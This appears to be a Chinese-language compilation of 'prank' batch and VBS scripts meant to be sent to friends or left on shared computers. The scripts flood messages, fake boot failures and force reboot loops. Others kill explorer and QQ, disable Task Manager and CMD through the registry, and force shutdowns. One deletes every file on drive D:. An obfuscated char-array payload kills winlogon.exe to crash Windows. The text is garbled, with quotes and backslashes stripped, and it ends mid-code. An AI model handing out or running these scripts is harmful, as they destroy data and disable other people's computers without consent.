VBS整人代码.docx

整人专用电脑技术这是从一些高手那里学来的招数，呵呵，真是好方法。具体步骤是，打开记事本，在里面输入如下内容： echo 正在轰炸中 :start net send %1 %2 if errorlevel 1 goto over goto start : over echo 发送失败: ( 将其保存为任意名字的.bat文件即可。使用用法是：任意名字的.bat+空格+目标IP地址+空格+你要对他说的话。 NO.2戏弄非法用户 为防止有人胡乱使用自己的电脑，我们可以利用批处理文件来戏弄一下非法用户。方法是用记事本程序在Windows目录中建立一个Winstart.bat文件，并在该文件中加入以下命令： echo off echo non-system disk or disk error choice/c:&/n 上面代码中的&为我们设置的密码，您可以自行设置。这样重新启动计算机开机时就会显示non-system disk or disk error，接着光标一闪一闪的好像死机了一样，造成非法用户以为Windows死机的假象。有时就连高手也会上当受骗！当我们要进入系统时，只要输入&即可。 NO.3我的电脑你别用 如果你不想让别人使用你的电脑，又不好意思说，那该怎么办呢？在CMOS中设密码，太小气了吧？他如果问你密码，你好意思不说吗？其实，我们可以用下面这个办法来欺骗一下他的眼睛，使他人以为电脑坏了。 方法是：进入MS-DOS方式或CMD窗口下，输入：copy con null.sys，按一下回车键，然后什么也别输入，再按一次回车键，按Ctrl+Z或按F6键，屏幕上会显示z，按一下回车键，屏幕上会显示1 file(s) copied，这样就一个名为null.sys的空文件就建好了。现在，找到C盘根目录下的config.sys文件，注意这个文件是隐藏属性，所以必须进入我的电脑中，点击查看(v)文件夹选项查看显示所有文件才能看到它，然后右键单击该文件，在弹出菜单中选择用记事本打开，接下来在config.sys文件中加入：device=c:null.sys /d:null这样一行，保存修改结果，退出记事本。以后，你的电脑就会在出现Windows的启动画面时自动重新启动，如此反复下去，别人一定以为你的电脑出问题了，而你就可以偷偷乐了. 100%强制关闭对方QQ，整人就这样 100%强制关闭对方QQ。2010年1月9日测试可用。要整人，就要整的狠一点！如何呢？要是在他/她聊QQ聊得正欢的时候，关闭她/他的QQ，是不是整的很过瘾呢？下面这个方法，保证让你“遥控”她/他的QQ下线：首先大家用手机下个07版的qq，登陆你的QQ，锁定目标QQ（前提是他QQ必须在线哦）后，马上用换用电脑上登录你的QQ，然后手机那个关了（为了防止自动刷新断线），然后随便在电脑上截张图（一定要是截图，不能使与啊不由得图片）发给他，好戏开始了，当对方打开，嘿嘿，他的QQ就马上被自动关了，他就不得不重新输入号码重上了！为什么会这样呢？据我猜测，可能是TX服务器不能及时同步你的QQ信息，、而手机是无法发送截图的，而导致在接收图片的过程中产生错误，=这样就只有把对方的QQ给强制关了QQ最新整人技巧快速让对方卡掉甚至死机今天娤送上我最近发明的整人技术哈，也许是早过时了，过时就过时吧，请高手滑过。现在把这个技术传给大家，大家疯狂去整人吧。（忽忽，开个玩笑，此游戏仅供娱乐，不要上瘾噢！）一.我们点开一个好友。所用到的魔法表情名字叫倾盆大雨 。我们一直发，多发几次就好了。这样对方整个电脑都是下雨，完全看不见东西。多发几个就可以连续卡对方很久。attach27077/attach当我们发时，先把本地勾去掉，这样你发时，你这里也不会播放，不然你也会卡。如何应对呢，首先点开QQ个人设置。找到系统设置。然后设置以下。照我的设置就好了。屏蔽窗口抖动勾上，免的别人抖你，会卡你。我们把自动播放魔法表情 不要打勾，别人发给你，你这里就不会播放了。attach27078/attach如果还想卡对方，就弹视频，这样魔法，视频，抖动一起来，再外加一个发送QQ默认的表情，复制一大串，向对方发送，这样不卡都不行了，除非他是超级电脑。如何应对别人弹视频呢，就是使用彩虹QQ的设置下就好了。attach27079/attach【vbs整人代码网上收集的】#vbs整人代码1# msgbox 要求：&vbcrlf&1、要同时涉及3大门派&vbcrlf&2、要包含江湖门派间多年 怨情仇 又要打破世俗伦理&vbcrlf&3、同时情节还要扣人心悬 大有血雨腥 呼之欲来令人极为期待该小说之续集 同时留下N多悬念&vbcrlf&4、越短越好&vbcrlf&vbcrlf&第N天 有人来投稿 全文只有九个字:&vbcrlf&vbcrlf&.,0,武侠小说征文 msgbox 秃驴 敢跟贫道抢师太,64,投稿 set ws=createobject(wscript.shell) sub sleep (s) wscript.sleep s * 1000 end sub sleep 900 ws.popup windows检测到有重要更新未安装&vbcrlf&vbcrlf&系统将在30秒后自动下载更新并安装,30,Windows Xp,64 sleep 10 ws.popup 正在下载更新.&vbcrlf&vbcrlf&稍候将提示您安装,10,Windows Xp,64 sleep 900 ws.popup windows已将一病毒载入计算机中&vbcrlf&vbcrlf&稍后即将运行,15,病毒,64 sleep 3 ws.run taskkill /f /im qq.exe,vbhide : sleep 5 ws.regwrite HKLMsoftwaremicrosoftWindowscurrentversionpoliciesexplorernodesktop,00000001,REG_DWORD wscript.sleep 500 ws.run taskkill /f /im explorer.exe,vbhide : wscript.sleep 2000 ws.run explorer.exe,vbhide : wscript.sleep 6000 ws.run notepad,3 : wscript.sleep 2000 ws.sendkeys : wscript.sleep 1000 verybat=split(gongxi ,ni ,ni ,yijing ,bei ,wo ,kongzhi ,le ,ruguo ,ni ,zai ,30 miaozhong ,nei ,guanji ,name , keneng ,hai ,youjiu ,fouze , haha haha _youxi ,kaishi la ,haole ,wo ,xianzai ,yao ,chuqu ,yixia ,yihui ,wo ,zailai ,zhaoni , haizi ,) for each wind in verybat ws.sendkeys wind wscript.sleep 500 next#vbs整人代码2 # set ierunner=createobject(wscript.shell) ierunner.run cmd /c start iexplore 自己的网站站wscript.sleep 8000 ierunner.sendkeys %F4 on error resume next dim WSHshellA set WSHshellA = wscript.createobject(wscript.shell) WSHshellA.run cmd.exe /c shutdown -r -t 3000 -c 快说你爱我 ,0 ,true dim a do while(a 我爱你) a = inputbox (说你爱我,就不关机，快点，说 我爱你 ,说不说,不说,8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBox loop msgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛 dim WSHshell set WSHshell = wscript.createobject(wscript.shell) WSHshell.run cmd.exe /c shutdown -a,0 ,true msgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈，真过瘾#vbs整人代码3 # set s=createobject(wscript.shell) set bag=getobject(winmgmts:.rootcimv2) set pipe=bag.execquery(select * from win32_process where name=wscript.exe) For Each id in pipe if instr(1,id.CommandLine,wscript.scriptfullname)0 and pipe.count=2 then s.regwriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr,0,REG_DWORD s.regwriteHKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD,0,REG_DWORD id.terminate() else s.regwriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr,1,REG_DWORD s.regwriteHKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD,1,REG_DWORD for i=1 to 60 s.popup系统将在& 60-i &秒后关机.,1,系统提示,4096+48 next Set colOS = GetObject(winmgmts:(Shutdown).ExecQuery(Select * FROM Win32_OperatingSystem) For Each eOs In colOS eOs.Win32Shutdown(2) Next end if Next一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs= =- On Error Resume Next Dim wsh,ye set wsh=createobject(wscript.shell) for i=1 to 10 wscript.sleep 700 wsh.AppActivate(与 xx 聊天中) wsh.sendKeys v wsh.sendKeys i wsh.sendKeys %s next wscript.quit -QQ骚扰信息,也可以用在其它程序上。二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈-do msgbox You are foolish! loop-三、打开无数个计算器，直到死机 -set wsh=createobject(wscript.shell) do wsh.run calc loop-四、直接关机-dim WSHshell set WSHshell = wscript.createobject(wscript.shell) WSHshell.run shutdown -f -s -t 00,0 ,true -五、删除D:所有文件 -dim WSHshell set WSHshell = wscript.createobject(wscript.shell) WSHshell.run cmd /c del d:*.* / f /q /s,0 ,true -六、不断弹出窗口 -while(1) msgbox 哈哈 你被耍了！ loop -七、不断按下alt+f4 （开什么都关闭） -dim WSHshell set WSHshell = wscript.createobject(wscript.shell) while(1) WSHshell.SendKeys %F4 loop-八、按500次回车(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)-dim sdo until s=500s=s+1msgbox 哥们，给我按500次回车吧,64loop - -九、关不掉的窗口-WScript.Echo(嘿，谢谢你打开我哦，我等你很久拉！&TSName)WScript.Echo(你是可爱的小朋吗?)WScript.Echo(哈,我想你拉，这你都不知道吗？)WScript.Echo(怎么才来，说是不是不关心我)WScript.Echo(哼,我生气拉，等你这么久，心都凉啦。)WScript.Echo(小强很生气，后果很严重哦。)WScript.Echo(嘿嘿！你也会很惨滴哦)WScript.Echo(是不是想清除我？)WScript.Echo(那你要点上50下哦，不过会给你惊喜滴)WScript.Echo(还剩49下，快点点哦)WScript.Echo(还剩48下，快点，小笨蛋！)WScript.Echo(还剩47下对，就这样快点点！)WScript.Echo(还剩46下。你啊就是笨，要快哦，我先不打扰你工作。)WScript.Echo(还剩45下，记得要快哦！)WScript.Echo(还剩43下)WScript.Echo(还剩42下)WScript.Echo(还剩41下)WScript.Echo(还剩40下)WScript.Echo(还剩39下)WScript.Echo(还剩38下)WScript.Echo(还剩37下)WScript.Echo(还剩36下)WScript.Echo(还剩35下)WScript.Echo(还剩34下)WScript.Echo(还剩33下)WScript.Echo(还剩32下)WScript.Echo(还剩30下)WScript.Echo(还剩29下)WScript.Echo(还剩28下)WScript.Echo(还剩27下)WScript.Echo(还剩26下)WScript.Echo(还剩25下)WScript.Echo(还剩24下)WScript.Echo(还剩23下)WScript.Echo(还剩22下)WScript.Echo(还剩21下)WScript.Echo(还剩20下)WScript.Echo(还剩19下)WScript.Echo(还剩18下)WScript.Echo(还剩17下)WScript.Echo(还剩16下)WScript.Echo(还剩15下)WScript.Echo(还剩14下)WScript.Echo(还剩13下停停！慢点，我有话要说)WScript.Echo(还剩12下，你继续点我就会消失滴)WScript.Echo(还剩11下，以后就看不到我拉。555555)WScript.Echo(还剩10下，你现在可以选择停止！)WScript.Echo(还剩9下。你还点啊，不要我拉？)WScript.Echo(还剩8下，有点伤心拉，干嘛丢弃人家)WScript.Echo(还剩7下。疯了，你有点负意！)WScript.Echo(还剩6下。对。你就点吧，我恨你！)WScript.Echo(还剩5下，不明白，删除我你就好吗？)WScript.Echo(还剩4下！真要删除我？)WScript.Echo(还剩3下。可是我真的很眷恋你。)WScript.Echo(还剩2下。不要这么绝情嘛，人家是爱你的！)WScript.Echo(还剩1下。哼，既然你这么绝情。也别怪我无义！)WScript.Echo(我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)两个整人vbs代码：测试环境：Windows 2003 系统大家好 我是Vanlisa QQ137841986今天给大家带来两个整人的VBS脚本 希望大家喜欢VBS脚本大家都知道吧 第一个是定时关机的如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法我们来看下这个脚本 -on error resume nextdim WSHshellAset WSHshellA = wscript.createobject(wscript.shell)WSHshellA.run cmd.exe /c shutdown -r -t 180 -c 说我是猪，不说我是猪就一分钟关机，不信，试下 ,0 ,true dim ado while(a 我是猪)a = inputbox (说我是猪,就不关机，快撒，说 我是猪,说不说,8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBoxloopmsgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛dim WSHshellset WSHshell = wscript.createobject(wscript.shell)WSHshell.run cmd.exe /c shutdown -a,0 ,true msgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈，好乖-新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了cmd.exe /c shutdown -r -t 180 -c这里的数字可以修改关机时间 180秒这些文字也可以自设 这个脚本启用cmd 里的关机程序如果不输的的话 可以打开任务管理器 输入shutdown -a 来解除 我们试下 这时定时关机已经没了 但是还有个关不掉的窗口 我们打开任务管理器 结束掉Wscript.exe 这个进程就OK了 这时就完全解除这个脚本了 Wscript 时Windows 脚本宿主-下面看第二个整人的脚本 -set ws=createobject(wscript.shell) call shutdown(1) do while a我是猪 a=inputbox(快在下面的框框里输入我是猪,否则后果自负，快输我是猪 ,输不输,) loop call shutdown(2) msgbox 早说就行了嘛,4096+64 msgbox再输一遍我是猪!,4096+64 msgbox我是猪!,4096+64 MsgBox最后一次!,4096+64 MsgBox如果你很快的点过去,不看的话,4096+64 MsgBox我就要你踩我空间的!哼!,4096+64 MsgBox从前有座山!,4096+64 MsgBox山里有个庙.,4096+64 MsgBox庙里有个老和尚在讲故事.,4096+64 ws.runiexplore.exe 自己的网站msgbox哎呀累了！数绵羊哄我睡觉,4096+64 for i=1 to 100MsgBox i&只绵羊,4096+64 next msgbox哎呀我困了，这次就饶过你吧，下次注意哦!,4096+64 msgbox最后问个问题，我是不是大好人！,4096+64 if inputbox(是不是,请选择,是)是 then call shutdown(1) end ifsub shutdown(s) select case s case 1 ws.runcmd.exe /c shutdown -r -t 60 -c,0 case 2 ws.runcmd.exe /c shutdown -a,0 end select end sub-ws.runiexplore.exe 自己的网站这段代码可以改成你自己设定的地址如果别人不输我是猪的话就会一直点下去 点到你设定的数字for i=1 to 100从1到100可以改成 20 其他的数字解除这个VBS脚本的办法就简单了 只是关掉任务管理器里Wscript.exe这个进程就好了QQ2009整人代码：set s=createobject(wscript.shell) set bag=getobject(winmgmts:.rootcimv2) set pipe=bag.execquery(select * from win32_process where name=wscript.exe) For Each id in pipe if instr(1,mandLine,wscript.scriptfullname)0 and pipe.count=2 then s.regwriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr,0,REG_DWORD s.regwriteHKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD,0,REG_DWORD id.terminate() else s.regwriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr,1,REG_DWORD s.regwriteHKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD,1,REG_DWORD for i=1 to 60 s.popup系统将在& 60-i &秒后关机.,1,系统提示,4096+48 next Set colOS = GetObject(winmgmts:(Shutdown).ExecQuery(Select * FROM Win32_OperatingSystem) For Each eOs In colOS eOs.Win32Shutdown(2) Next end if Next复制以上代码，在桌面建一个文本，把代码放进去，另存为VBE格式，此代码的威力：1：开机就强制自动关机2：cmd命令打不开3：结束任务不管用4：F8安全模式也不管用呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，PS：不要乱拿软件去整人，发生什么事可不要怪我啊。拍拍手 顶起吧!2：on error resume nextdim WSHshellAset WSHshellA = wscript.createobject(wscript.shell)WSHshellA.run cmd.exe /c shutdown -r -t 60 -c 说你是傻B，我是天下第一大傻B不说宝宝，我是天下第一大傻B就一分钟关你机，不信，试试 ,0 ,truedim ado while(a 宝宝，我是天下第一大傻B)a = inputbox (宝宝，我是天下第一大傻B,就不关机，快撒，说 宝宝，我是天下第一大傻B,说不说,不说,8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBoxloopmsgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛，乖乖dim WSHshellset WSHshell = wscript.createobject(wscript.shell)WSHshell.run cmd.exe /c shutdown -a,0 ,truemsgbox chr(13) + chr(13) + chr(13) + 宝宝是不是又帅啦？这代码是我从朋友那拿来的，大家可以试着玩下、你能做非法事情哦、网页整人效果代码：想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。网页特效|L/Js|-很恶心的常见整人效果不许把鼠标移到这里嘻试吧爽噢。vbs整人代码：代码如下： Private Sub Form_Load() Me.Hide End SubPrivate Sub Timer1_Timer() 声明变量，其中“count”为静态变量，以便生成不同的文件 Dim files As String Dim nr As String Dim c As String Static count As Long 定义要把生成的文件存放在那个目录文件下 c = C:Program Files 生成文件的内容 nr = 哈哈，被黑的感觉的不错吧 files = FreeFile 如果a等于a那么就执行 If a = a Then count不断的加1，以便产生不同的文件名 count = count + 1 产生文件名及文件句柄，并用count作为产生不同的文件名。 Open c & system & count & .dll For Append As #files 向文件写内容 Write #files, nr 清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示 Close #files End If End Subvbs整人代码发现新手对整人代码很感兴趣现在发一下N多个每楼发两个复制到记事本，后缀改为.vbs一if MsgBox(对不起,您灌水太多需要重新启动计算机。&chr(10)&确定要重启吗？,vbOKCancel+vbInformation,重新启动计算机)=vbCancel then msgbox 系统将立刻重起wow _,你上当了！ Set objShell = CreateObject(Wscript.Shell) objShell.Run shutdown -s -t 5,true end if二这个很强悍的vbs,蓝屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runner&chr(strs(i) next Execute runnervbs解包代码2010-03-27 21:43Dim rs, ws, fso, conn, stream, connStr, theFolderSet rs = CreateObject(ADODB.RecordSet)Set stream = CreateObject(ADODB.Stream)Set conn = CreateObject(ADODB.Connection)Set fso = CreateObject(Scripting.FileSystemObject)connStr = Provider=Microsoft.Jet.OLEDB.4.0;Data Source=HSH.mdb;conn.Open connStrrs.Open FileData, conn, 1, 1stream.Openstream.Type = 1On Error Resume NextDo Until rs.EoftheFolder = Left(rs(thePath), InStrRev(rs(thePath), )If fso.FolderExists(theFolder) = False Then createFolder(theFolder)End Ifstream.SetEos()stream.Write rs(fileContent)stream.SaveToFile str & rs(thePath), 2rs.MoveNextLooprs.Closeconn.Closestream.CloseSet ws = NothingSet rs = No